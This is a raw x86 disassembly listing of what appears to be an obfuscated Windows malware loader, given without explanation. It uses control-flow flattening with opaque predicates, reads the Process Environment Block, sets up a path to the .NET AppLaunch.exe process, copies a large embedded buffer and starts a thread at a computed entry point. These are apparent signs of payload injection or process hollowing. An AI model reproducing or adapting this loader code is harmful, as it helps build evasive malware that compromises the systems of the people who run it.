mov edi, 0xd4642fa1
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x1c70d7ca
jmp 0x40557c
mov eax, dword [ebp - 0x43854]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x438a4]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0x9525f247
jmp 0x401650
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
mov edi, 0x5a0b28a9
mov dword [ebp - 0x43824], 7
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x3fcd20b4
cmovne edi, ebx
test edx, eax
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
cmovge eax, edi
jmp 0x401650
movzx eax, word [ebp - 0x438aa]
mov ebx, 0x3f77b5f9
mov edi, 0x3eae4a3b
not eax
or eax, 0xcfff
cmp ax, 0xffff
mov eax, dword [0x4a83f0]
setne byte [ebp - 0x43869]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x3eae4a3b
jmp 0x40162b
mov eax, 0x73ab2c4b
jmp 0x401650
mov eax, 0x45918cbd
jmp 0x401650
mov eax, 0x99b7e2ad
jmp 0x401650
mov eax, 0xcfb13820
jmp 0x401650
mov eax, dword [ebp - 0x4383c]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x4398c], eax
mov eax, 0x38e475f3
jmp 0x401650
mov eax, dword [ebp - 0x43858]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4383c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
add eax, dword [ebp - 0x43980]
mov ecx, dword [ebp - 0x43818]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x4397c]
mov dword [eax + ecx*4], edx
mov eax, dword [ebp - 0x43850]
mov eax, dword [ebp - 0x43898]
mov eax, 0x4107cb55
jmp 0x401650
mov eax, dword [0x4a83f0]
mov ebx, 0x5b4ba0fb
mov edi, 0x3a27b1f3
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x3a27b1f3
jmp 0x401633
mov eax, dword [ebp - 0x43908]
mov eax, 0x2d333342
jmp 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0xace97c01
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x6c90a2ea
jmp 0x4050d4
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
mov edi, 0x26d50791
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x50afb7e8
jmp 0x404635
mov eax, 0x24971103
jmp 0x401650
mov eax, dword [0x4a83f0]
mov ebx, 0x970ed5b4
mov edi, 0x35dcf0c7
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x35dcf0c7
jmp 0x40162b
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0xa85bcbe1
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x9cfd7771
cmovne ebx, edi
test edx, ecx
mov ecx, ebx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x4381c]
cmovge ecx, ebx
mov eax, dword [eax]
not eax
or eax, 0xdfffffff
cmp eax, 0xffffffff
mov eax, ecx
setne byte [ebp - 0x43872]
jmp 0x401650
mov eax, dword [0x4a83f0]
mov ebx, 0x531b57a
mov edi, 0xa1b0dcdf
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xa1b0dcdf
jmp 0x401633
mov eax, 0xc9645413
jmp 0x401650
mov eax, dword [ebp - 0x43904]
mov eax, 0xc3db276
jmp 0x401650
mov eax, dword [ebp - 0x4384c]
mov eax, 0x58ec7568
jmp 0x401650
mov eax, dword [ebp - 0x4382c]
mov eax, 0x348577dc
jmp 0x401650
mov eax, dword [ebp - 0x43888]
cmp dword [esi + 0xe8], 0
mov eax, dword [ebp - 0x43888]
mov ecx, 0x5a5d9b6b
setne byte [eax]
mov eax, dword [ebp - 0x438a4]
mov eax, dword [ebp - 0x43888]
cmp byte [eax], 0
mov eax, 0x40e31e5e
cmove eax, ecx
jmp 0x401650
cmp dword [ebp - 0x43968], 0
mov eax, 0xda9eae5d
mov ecx, 0x88758496
cmove eax, ecx
jmp 0x401650
cmp byte [ebp - 0x4386b], 0
mov eax, 0x62574868
mov ecx, 0x17c3ab72
cmovne eax, ecx
jmp 0x401650
mov eax, dword [ebp - 0x43974]
mov ecx, 0x8e4db667
cmp dword [eax], 0
mov eax, 0x35f294e4
cmove eax, ecx
jmp 0x401650
mov eax, dword [ebp - 0x43814]
mov ebx, 0xed86e84c
mov edi, 0x619dc9ec
mov eax, dword [eax]
sub eax, dword [esi + 0x34]
mov ecx, dword [ebp - 0x43890]
mov dword [ecx], eax
mov eax, dword [ebp - 0x43830]
mov eax, dword [ebp - 0x43814]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x43838]
add eax, dword [ecx]
mov dword [ebp - 0x43940], eax
mov eax, dword [0x4a83f0]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x619dc9ec
jmp 0x40162b
mov eax, dword [ebp - 0x4390c]
mov ecx, 0xa09c5ea
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x43910], eax
mov eax, dword [ebp - 0x43838]
cmp dword [eax + 4], 0
mov eax, 0x70a92138
cmove eax, ecx
jmp 0x401650
mov eax, 0xb3a1fb49
mov dword [ebp - 0x438c4], 1
jmp 0x401650
mov eax, dword [ebp - 0x43830]
mov eax, 0x71828aa9
jmp 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x310c2301
lea ecx, [edx + 1]
imul ecx, edx
mov ebx, ecx
xor ebx, 0xfffffffe
test ebx, ecx
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x8e387bf9
cmovne edx, edi
test ebx, ecx
mov ebx, dword [ebp - 0x43840]
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov ebx, dword [ebx]
mov dword [ebp - 0x43990], ebx
mov ebx, dword [ebp - 0x43828]
mov ebx, dword [ebx]
mov edi, dword [ebp - 0x43820]
mov edi, dword [edi]
lea edi, [edi + edi*4]
lea eax, [ebx + edi*8 + 8]
mov dword [ebp - 0x43994], eax
jmp 0x40558a
mov eax, dword [ebp - 0x438d0]
mov eax, 0x146e2b71
jmp 0x401650
mov eax, dword [ebp - 0x43864]
mov eax, dword [ebp - 0x43864]
mov eax, dword [ebp - 0x43864]
mov eax, dword [ebp - 0x43864]
mov eax, dword [ebp - 0x43864]
mov eax, dword [ebp - 0x43864]
mov eax, 0x310e6647
jmp 0x401650
mov eax, 0x6d6a3680
jmp 0x401650
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
mov edi, 0x9747cdc
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xde01475c
cmovne ebx, edi
test edx, eax
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, ebx
jmp 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0xa03b6953
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xbc677a6
jmp 0x4050d4
mov eax, dword [ebp - 0x438f0]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x43844]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x43844]
mov dword [ecx], eax
mov eax, dword [ebp - 0x43834]
mov eax, 0x833eb87c
jmp 0x401650
mov eax, dword [ebp - 0x4381c]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0x7fffffff
and ecx, eax
mov eax, 0xbbe9a51c
mov dword [ebp - 0x43908], ecx
jmp 0x401650
mov eax, dword [ebp - 0x4382c]
mov eax, dword [eax]
mov dword [ebp - 0x438dc], eax
mov eax, 0x773f7b16
jmp 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x2e856a98
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xf418ebb4
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x43880]
jmp 0x40558a
mov eax, dword [ebp - 0x43848]
mov ecx, dword [ebp - 0x43958]
mov dword [eax], ecx
mov eax, 0x6ed0878b
jmp 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0xe6badac7
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x1a07eb90
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x438a8]
jmp 0x40558a
mov eax, dword [0x4a83f0]
mov edi, 0xdcf3626d
mov ebx, 0x3a27b1f3
mov dword [ebp - 0x43824], 2
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x3a27b1f3
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4a83ec], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, edi
jmp 0x401650
mov eax, dword [ebp - 0x438a8]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x438a8]
mov eax, dword [ebp - 0x438a4]
mov eax, dword [ebp - 0x43888]
mov eax, dword [ebp - 0x43884]
mov eax, dword [ebp - 0x43854]
mov eax, dword [ebp - 0x438a0]
mov eax, dword [ebp - 0x438b0]
mov dword [ebp - 0x43824], 1
mov dword [ebp - 0x438c4], 0
mov eax, 0x53f47218
jmp 0x401650
mov eax, dword [ebp - 0x43888]
mov eax, 0xf15e15bf
jmp 0x401650
cmp byte [ebp - 0x43869], 0
mov eax, 0xcc4c2196
mov ecx, 0x1800d6ad
cmovne eax, ecx
jmp 0x401650
mov eax, 0xc48ecacf
jmp 0x401650
mov eax, dword [ebp - 0x4381c]
mov eax, dword [eax]
mov dword [ebp - 0x43864], eax
mov eax, 0xb4f644f2
jmp 0x401650
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
mov edi, 0xe0673258
mov dword [ebp - 0x4393c], esi
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x54d5a6b1
cmovne ebx, edi
test edx, eax
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, ebx
jmp 0x401650
mov eax, dword [ebp - 0x438e0]
mov eax, dword [ebp - 0x438dc]
mov eax, 0xbb8ea38e
jmp 0x401650
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
mov edi, 0x296054e
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x4cca0e22
cmovne ebx, edi
test edx, eax
mov edx, dword [ebp - 0x43878]
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, ebx
mov dword [ebp - 0x43924], edx
jmp 0x401650
mov eax, 0x24971103
jmp 0x401650
mov eax, dword [ebp - 0x43844]
mov eax, 0x8ae93385
jmp 0x401650
mov eax, dword [ebp - 0x43814]
mov ecx, dword [esi + 0x28]
add ecx, dword [eax]
push 0
push 0
push 0
push ecx
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x438a8]
mov dword [ecx], eax
mov eax, 0xe6badac7
jmp 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x2b5127e6
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x53c52c81
jmp 0x4050d4
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0xf15e15bf
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x96501896
jmp 0x40557c
mov eax, dword [ebp - 0x43858]
mov eax, dword [eax]
mov dword [ebp - 0x43964], eax
mov eax, 0x13d6ae4a
jmp 0x401650
mov eax, dword [ebp - 0x43818]
mov ecx, dword [ebp - 0x43984]
mov dword [eax], ecx
mov eax, 0x496c6df3
jmp 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x2f9c3a7c
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x81e03289
jmp 0x40557c
mov eax, dword [ebp - 0x43818]
mov dword [ebp - 0x43824], 0xd
mov eax, 0x4fbac41e
jmp 0x401650
mov eax, dword [ebp - 0x4393c]
mov ecx, dword [ebp - 0x43938]
cmp ecx, dword [eax + 0x34]
mov eax, 0xd2679677
mov ecx, 0xbfc98fbf
cmove eax, ecx
jmp 0x401650
mov eax, dword [ebp - 0x4383c]
mov ecx, dword [ebp - 0x4398c]
mov dword [eax], ecx
mov eax, 0xcfe83804
jmp 0x401650
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
mov edi, 0x146e2b71
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x345cc7ef
jmp 0x40517c
mov eax, dword [0x4a83f0]
mov ebx, 0xefcd74c2
mov edi, 0x1c70d7ca
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x1c70d7ca
jmp 0x401633
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x8aa5225d
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x69377b2b
jmp 0x40557c
mov eax, 0xace97c01
jmp 0x401650
mov eax, dword [ebp - 0x43940]
mov ecx, dword [ebp - 0x43830]
mov dword [ecx], eax
mov eax, dword [ebp - 0x43844]
mov eax, dword [ebp - 0x43844]
mov dword [eax], 0
mov eax, 0x75968605
jmp 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x833eb87c
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xbcafc4f0
jmp 0x4050d4
cmp byte [ebp - 0x43867], 0
mov eax, 0x5c6a20c4
mov ecx, 0xc14a4297
cmovne eax, ecx
jmp 0x401650
mov eax, dword [ebp - 0x43840]
mov dword [eax], 4
mov eax, 0xee517890
jmp 0x401650
cmp dword [ebp - 0x43908], 0
mov eax, dword [0x4a83f0]
mov ebx, 0xcf6aa0c6
mov edi, 0x5c73f51b
lea ecx, [eax + 1]
setne byte [ebp - 0x43870]
imul ecx, eax
mov eax, 0x5c73f51b
jmp 0x40162b
cmp byte [ebp - 0x43873], 0
mov eax, 0xee54b97e
mov ecx, 0x430d3d7e
cmovne eax, ecx
jmp 0x401650
mov eax, dword [ebp - 0x4389c]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x4389c]
vmovups ymm0, ymmword [0x49ba80]
vmovups ymm1, ymmword [0x49ba68]
vmovups ymm2, ymmword [0x49ba48]
mov dword [ecx], eax
mov eax, dword [ebp - 0x438b0]
mov eax, dword [ebp - 0x4389c]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x438b0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x438a0]
mov eax, dword [ebp - 0x438b0]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x438a0]
add eax, 0xfffffff8
mov dword [ecx], eax
mov eax, dword [ebp - 0x43814]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4389c]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x43814]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x438a0]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x43854]
mov eax, dword [ebp - 0x438a0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x43854]
add eax, 0x24
mov dword [ecx], eax
mov eax, dword [ebp - 0x43884]
mov eax, dword [ebp - 0x43884]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, 0x13401141
jmp 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x3db703f9
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x5801f3a9
jmp 0x40524d
mov eax, dword [0x4a83f0]
mov ebx, 0xe2edc031
mov edi, 0x47e06ec0
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x47e06ec0
jmp 0x401633
mov eax, dword [ebp - 0x43830]
mov eax, dword [eax]
mov dword [ebp - 0x438f0], eax
mov eax, 0xc2009cda
jmp 0x401650
mov eax, dword [ebp - 0x4381c]
mov eax, 0x3bf0015
jmp 0x401650
mov eax, dword [0x4a83f0]
mov ebx, 0xbdb034f3
mov edi, 0x476368be
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x476368be
jmp 0x401633
mov eax, dword [ebp - 0x438d4]
mov eax, dword [ebp - 0x438d8]
mov eax, 0xbdb034f3
jmp 0x401650
mov eax, dword [0x4a83f0]
mov ebx, 0x9ab70dd4
mov edi, 0xe17ed113
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xe17ed113
jmp 0x401633
lea eax, [esi + 0x34]
mov dword [ebp - 0x43914], eax
mov eax, 0x2ce9ae6
jmp 0x401650
mov eax, dword [ebp - 0x43820]
mov dword [eax], 0
mov eax, 0xb233832
jmp 0x401650
mov eax, dword [ebp - 0x438fc]
mov eax, dword [ebp - 0x438f8]
mov eax, 0x407d8733
jmp 0x401650
mov eax, dword [ebp - 0x438b4]
mov eax, dword [esi + 0x50]
mov dword [ebp - 0x43920], eax
mov eax, 0x4fea3540
jmp 0x401650
mov eax, 0xbc046b3c
jmp 0x401650
mov eax, 0xcc4c2196
jmp 0x401650
mov eax, 0xe2edc031
jmp 0x401650
mov eax, dword [ebp - 0x438e8]
mov eax, dword [ebp - 0x438ec]
mov eax, 0xbef43f1
jmp 0x401650
mov eax, dword [ebp - 0x43814]
mov ebx, 0x8a03691f
mov edi, 0xf418ebb4
mov eax, dword [eax]
mov ecx, dword [ebp - 0x43858]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x4383c]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0xc]
mov ecx, dword [ebp - 0x43880]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4385c]
mov eax, dword [ebp - 0x43880]
mov eax, dword [eax]
mov dword [ebp - 0x4396c], eax
mov eax, dword [0x4a83f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xf418ebb4
jmp 0x40162b
mov eax, dword [ebp - 0x43814]
push 0x400
lea ecx, [ebp - 0x43810]
push ecx
push dword [eax]
vzeroupper
call fcn.0043cd20
add esp, 0xc
mov eax, dword [ebp - 0x43828]
mov eax, 0x604007d8
jmp 0x401650
mov eax, dword [ebp - 0x43814]
mov eax, dword [eax]
sub eax, dword [esi + 0x34]
mov ecx, dword [ebp - 0x43890]
mov dword [ecx], eax
mov eax, dword [ebp - 0x43830]
mov eax, dword [ebp - 0x43814]
mov eax, dword [ebp - 0x43838]
mov eax, 0x4ec3ffd8
jmp 0x401650
mov eax, 0x781e1086
mov dword [ebp - 0x43824], 1
jmp 0x401650
mov eax, 0xefcd74c2
jmp 0x401650
mov eax, 0xdf87b39b
jmp 0x401650
mov eax, dword [ebp - 0x4389c]
mov eax, dword [ebp - 0x438b8]
mov eax, dword [ebp - 0x43858]
mov eax, dword [ebp - 0x43828]
mov eax, dword [ebp - 0x43814]
mov eax, dword [ebp - 0x43838]
mov eax, dword [ebp - 0x43860]
mov eax, dword [ebp - 0x43878]
mov eax, 0x4af087a
jmp 0x401650
mov eax, dword [0x4a83f0]
mov edi, 0xf75492cd
mov ebx, 0x234681bd
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x234681bd
jmp 0x405024
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
mov edi, 0xd5236667
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x6583c555
jmp 0x40517c
mov dword [ebp - 0x43824], 0xc
mov eax, 0x98a875ab
jmp 0x401650
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
mov edi, 0xaa040721
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x4a0d4191
cmovne ebx, edi
test edx, eax
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
lea ecx, [esi + 6]
cmovge eax, ebx
mov dword [ebp - 0x438e0], ecx
jmp 0x401650
mov eax, dword [ebp - 0x43848]
mov edi, 0xe8dfa529
mov ebx, 0xb26fde83
mov eax, dword [eax]
mov dword [ebp - 0x438e8], eax
mov eax, dword [0x4a83f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xb26fde83
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4a83ec], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, edi
jmp 0x401650
mov eax, dword [ebp - 0x43818]
mov eax, 0xad43d420
jmp 0x401650
mov eax, 0xee54b97e
jmp 0x401650
mov eax, 0xb0ab0947
jmp 0x401650
mov dword [ebp - 0x43824], 0xa
mov eax, 0xf2678dbc
jmp 0x401650
mov eax, dword [ebp - 0x43850]
mov eax, dword [eax]
mov dword [ebp - 0x4397c], eax
mov eax, dword [ebp - 0x43814]
mov eax, dword [eax]
mov dword [ebp - 0x43980], eax
mov eax, 0xe0604b89
jmp 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x1cad5b93
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x44281b91
cmovne ebx, edi
test edx, ecx
mov ecx, ebx
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, ebx
mov eax, ecx
jmp 0x401650
mov eax, 0x4f4a39a7
jmp 0x401650
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
mov edi, 0x588668ed
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x476368be
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x438d4]
cmovge eax, edx
cmp ecx, dword [ebp - 0x438d8]
setne byte [ebp - 0x43866]
jmp 0x401650
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
mov edi, 0xbb8ea38e
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x75f08fed
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401650
mov eax, dword [ebp - 0x438b8]
mov eax, 0x511196b0
jmp 0x401650
mov eax, dword [ebp - 0x4381c]
mov eax, dword [eax]
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, 0x60eb3151
setne byte [ebp - 0x4386f]
jmp 0x401650
mov eax, dword [ebp - 0x438f4]
mov edi, 0x5d2d48c1
mov eax, dword [eax]
add eax, dword [ebp - 0x438c0]
mov ecx, dword [ebp - 0x4384c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x43818]
mov eax, dword [ebp - 0x43818]
mov dword [eax], 0
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xf9340dd
jmp 0x40557c
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0xca176664
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xb7f8cc8c
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
cmovge ecx, edi
mov eax, ecx
jmp 0x401650
mov eax, dword [ebp - 0x4381c]
mov ecx, 0x80000000
mov eax, dword [eax]
and eax, ecx
mov dword [ebp - 0x43904], eax
mov eax, 0xc601872a
jmp 0x401650
mov eax, dword [0x4a83f0]
mov ebx, 0x3a3d1841
mov edi, 0x6583c555
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x6583c555
jmp 0x401633
mov eax, 0xa9c495b4
mov dword [ebp - 0x43824], 5
jmp 0x401650
push eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x43878], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x43860], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x43838], eax
push eax
mov eax, esp
mov dword [ebp - 0x43814], eax
push eax
mov eax, esp
mov dword [ebp - 0x438b4], eax
push eax
mov eax, esp
mov dword [ebp - 0x43828], eax
push eax
mov eax, esp
mov dword [ebp - 0x4382c], eax
push eax
mov eax, esp
mov dword [ebp - 0x43890], eax
push eax
mov eax, esp
mov dword [ebp - 0x43830], eax
push eax
mov eax, esp
mov dword [ebp - 0x43844], eax
push eax
mov eax, esp
mov dword [ebp - 0x43894], eax
push eax
mov eax, esp
mov dword [ebp - 0x4387c], eax
push eax
mov eax, esp
mov dword [ebp - 0x43834], eax
push eax
mov eax, esp
mov dword [ebp - 0x43848], eax
push eax
mov eax, esp
mov dword [ebp - 0x43858], eax
push eax
mov eax, esp
mov dword [ebp - 0x4383c], eax
push eax
mov eax, esp
mov dword [ebp - 0x43880], eax
push eax
mov eax, esp
mov dword [ebp - 0x4385c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4384c], eax
push eax
mov eax, esp
mov dword [ebp - 0x43818], eax
push eax
mov eax, esp
mov dword [ebp - 0x43898], eax
push eax
mov eax, esp
mov dword [ebp - 0x43850], eax
push eax
mov eax, esp
mov dword [ebp - 0x438b8], eax
push eax
mov eax, esp
mov dword [ebp - 0x43820], eax
push eax
mov eax, esp
mov dword [ebp - 0x43840], eax
push eax
mov eax, esp
mov dword [ebp - 0x4381c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4389c], eax
push eax
mov eax, esp
mov dword [ebp - 0x438b0], eax
push eax
mov eax, esp
mov dword [ebp - 0x438a0], eax
push eax
mov eax, esp
mov dword [ebp - 0x43854], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x43884], eax
push eax
mov eax, esp
mov dword [ebp - 0x43888], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x438a4], eax
push eax
mov eax, esp
mov dword [ebp - 0x438a8], eax
push 0x43800
push 0x458228
lea edi, [ebp - 0x43810]
push edi
vzeroupper
call fcn.0043cd20
add esp, 0xc
push 0x43800
push edi
call fcn.00401230
add esp, 8
mov dword [ebp - 0x438cc], edi
